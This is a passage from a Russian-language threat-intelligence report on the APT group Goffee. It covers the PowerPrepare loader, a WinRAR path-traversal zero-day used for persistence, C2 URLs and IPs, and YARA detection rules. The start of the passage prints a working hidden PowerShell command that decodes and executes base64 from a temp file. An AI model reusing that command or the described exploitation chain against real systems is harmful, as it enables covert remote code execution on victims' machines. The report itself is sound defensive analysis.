/c start %SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -Command "$watcher = New-object System.IO.FileSystemWatcher \"$env:TEMP\\\";$watcher.EnableRaisingEvents '= $true;$watcher.Filter=\"trigger.txt\";$watcher.NotifyFilter = [System.IO.NotifyFilters]::LastWrite;$trigger = Register-ObjectEvent $watcher \"Changed\" -Action {$trigger_content = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Get-Content \"$env:TEMP\\trigger.txt\" -Raw))); iex $trigger_content};while($true) {$null = $watcher.WaitForChanged(\"Changed\");start-sleep -s 2;};В результате его выполнения ставится триггер: при каждой записи в файл trigger.txt его содержимое расшифровывается алгоритмом base64 и тут же выполняется. Затем и шеллкод создает файл %TEMP%/trigger.txt, расшифровывает его содержание и записывает в файл.

Файл trigger.txt оказался наследником PowerModule; мы назвали его PowerPrepare. В начале работы PowerPrepare генерирует ID жертвы и зашифровывает его алгоритмом base64 с заменой некоторых символов. После этого генерируется запрос на URL следующего вида:

Здесь UID — это уникальный идентификатор самого PowerPrepare, в нашем случае он был равен 0d15a3e9-a28e-462a-a9d6-8b4bb96093b6. Ответом на данный запрос следует накрытый base64 dotnet модуль, который рефлективно загружается в систему и тут же запускается.
Конец июля. Атака с использованием уязвимости нулевого дня в WinRar
В июле, 22-го и 31-го числа, были обнаружены еще несколько архивов DON_AVIA_TRANS_RU.rar и Запрос_Минпромторг_22.07.rar. Архивы содержали файлы, эксплуатирующие ранее неизвестную уязвимость в WinRar версий до 7.12 включительно. Суть уязвимости — Path Traversal в функции распаковки альтернативных потоков данных для файла.
Помимо документа-приманки в архиве содержится вредоносные .lnk- и .exe-файлы, которые являются альтернативными потоками данных для PDF-файла. С помощью уязвимости по следующим путям распаковываются вредоносные файлы:
- AppData\Local\WinRunApp.exe
- AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinRunApp.lnk

Сам исполняемый файл является простым загрузчиком на .NET, который выполняет ряд действий:
- запускает команду, указанную в конфиге (если такая есть);
- запускает мьютекс с указанным именем;
- формирует URL для отправки запроса на получение следующей полезной нагрузки (рис. XX1):
<url>?hostname=<MachineName>&username=<UserName> - отправляет запрос на получение полезной нагрузки.
После этого полученный модуль рефлективно загружают.

В ходе последних обнаруженных атак использовались ссылки формата:
- https: //Trailtastic.org/glowworms/diverted/calorie/britons/parabolas
- https: //IndoorVisions.org/patriarchal/furthering/creating/flared/censured
Как можно заметить, ссылки имеют пять уровень вложенности, оба домена расположены на серверах с русским IP-адресом (94.242.51.73 и 89.110.98.26 на момент исследования), зарегистрированы в Namecheap, и оба домена первого уровня — .org. Помимо этого, атрибутироваться к группировке может документ-приманка от лица Минпромторга, похожее уже было замечено 4 июля.
Вывод
Анализ активности группировки Goffee показывает устойчивую и продуманную тактику, направленную на достижение долгосрочного присутствия в инфраструктуре жертв при минимальной видимости. Атаки группы уже привели к ощутимым последствиям, включая зафиксированные случаи остановки бизнес-процессов в российских организациях.
Несмотря на то что активность Goffee отслеживается более двух лет, информация о ней слабо представлена в публичном информационном поле. Это связано в первую очередь с ограниченной географией атак (они направлены преимущественно на российские организации) и фокусом группировки на скрытность, что затрудняло получение инструментов, используемых на поздних этапах развития атаки.
В результате долгого исследования удалось обнаружить новые инструменты группировки, используемые на поздних этапах атаки, такие как DQuic, MiRat, BindSycler и руткит Sauropsida. Однако не перестают быть актуальными инструменты, использованные группировкой ранее, такие как owowa и PowerTaskel.
Исследователям удалось выявить и сетевой профиль злоумышленников. Goffee используют российские IP-адресации и хостинги, вероятно ради снижения рисков обнаружения. Такая тактика помогает обходить фильтрацию трафика по геолокации, а также маскирует активность под действия внутреннего участника инфраструктуры. Чаще всего такие IP-адреса используются на промежуточных этапах — для доставки вредоносного ПО или настройки туннелирования.
Выявленный в результате исследования устойчивые технические признаки — повторяющиеся схемы упаковки, сетевой профиль группы и особенности шифрования трафика — позволяют с высокой долей уверенности связывать инциденты с данной группой и прогнозировать ее возможную активность в будущем.
Индикаторы компрометации
Вердикты продуктов Positive Technologies
PT Sandbox
import elf
rule apt_linux_ZZ_GOFFEE__Dropper__RolMod13 {
meta:
description = "Linux loader with algo RolMod13"
strings:
$code_at_00001BD7 = { 4? C1 E? 04 4? 89 ?? 4? 8B (?5 | ?D) ?? FF FF FF 4? 01 ?? 4? C7 4? 08 00 10 00 00 8B (?5 | ?D) ?? 4? 98 4? C1 E? 04 }
$code_at_00001DD2 = { 4? C1 E? 04 4? 89 ?? 4? 8B (?5 | ?D) ?? FF FF FF 4? 01 ?? 4? C7 00 19 00 00 00 }
$code_at_00001EDA = {
B? 4F EC C4 4E
89 ??
F7 E?
C1 E? 02
89 ?? 01
}
$code_at_00001EEA = { 01 ?? C1 E? 02 01 ?? 29 ?? 89 }
condition:
uint32be(0) == 0x7f454c46 and (3 of them and (for any i in (0..elf.number_of_sections): (elf.sections[i].size > 0x200000 and elf.sections[i].name == ".data")) or elf.telfhash() == "T13AB01287D731E75D98911C754C0400A70023438C772CC3000F91D850CC3440372F131C")
}
rule tool_win_ZZ_Ebowla__Dropper__Go {
meta:
description = "Go loader Ebowla with base64 payload"
strings:
$v1 = "main._Cfunc_MemoryCallEntryPoint"
$v2 = "main.build_code"
$v3 = "main.sysNativeDone"
$v4 = "main._Cfpvar_fp_MemoryDefaultGetProcAddress"
$v5 = "minus_bytes"
$v6 = "key_combos"
$v7 = "another_temp"
$v8 = "temp_encrypted_payload"
$v9 = "raw_key"
$v10 = "payload_test_hash"
$v11 = "main.walk_path"
$v12 = "temp_keycombos"
$v13 = "full_payload"
condition:
uint16(0) == 0x5A4D and 5 of ($v*)
}
rule tool_win_ZZ_InfinityLoader__Trojan {
meta:
description = "Infinity loader detect"
strings:
$code1 = { 32 54 08 10 49 C1 F9 ?? 44 31 CA 4D 89 C1 49 C1 F8 ?? 49 C1 F9 ?? 44 31 CA 44 31 C2 }
$code2 = { 48 8B 45 ?? 89 C2 48 8B 45 ?? 89 D1 48 D3 F8 44 31 C0 89 C2 48 8B 4D ?? 48 8B 45 ?? 48 01 C8 48 83 C0 ?? 88 10 }
$s1 = "Infinity"
$s2 = "crowload"
condition:
uint16be(0) == 0x4D5A and (($s1 and $code1) or ($s2 and $code2))
}